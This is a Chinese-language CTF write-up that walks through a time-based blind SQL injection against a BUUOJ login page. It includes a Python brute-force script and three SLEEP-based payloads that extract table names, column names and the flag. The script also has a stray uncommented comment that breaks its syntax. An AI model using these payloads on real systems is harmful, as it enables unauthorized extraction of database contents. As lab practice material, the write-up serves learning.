0%

记一次基于盲注的脚本编写

sql盲注脚本

本题是一个盲注题,可以基于布尔或者是时间,采取穷举法,时间复杂度上天了,效率不高,但是好歹爆出来了

直接在前端进行注入的话没有回显,抓个包看看

可以看到有延长了,说明是单引号闭合,并且在name处存在sql盲注

这个时候就可以直接写脚本进行爆破了,贴上脚本,并且进行一一解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#导入必要的库
import requests
import time

l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'#定义一个字符串,包含所有的数据,用于猜测数据
url = "http://2f326183-2993-42d8-8c8f-8635076e9a95.node5.buuoj.cn:81/login.php"#目标url
sql1 = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"#用来爆破库名的payload,使用两个占位符,后面在利用的时候会填入数据,下面的payload也是同理
sql2 = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql3 = "1' or if(substr((seLEct group_concat(flag) from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''

for num in range(1,100):#ascii值循环遍历
for i in l:#开始逐个猜取各个位置上的字符
data = {
'name' : sql3 % (num,i),使用占位符填入数据
'pass' : 'asdasd'
}#定义需要发送的数据以什么形式
t = int(time.time())#获取到发送payload时候的时间
r = requests.post(url = url , data = data , timeout = 5)#使用post方式传输数据
if int(time.time()) - t > 2:#获取到接受响应的时候的时间,并且于发送payload的时间相减,获取响应时间,与两秒进行比较,如果大于两秒,说明猜取成功
flag += i#将猜取成功的数据拼接起来
print("flag:",flag)
break
print("flag:",flag)#打印出所有的flag


效果如下

猜表名

猜字段

猜数据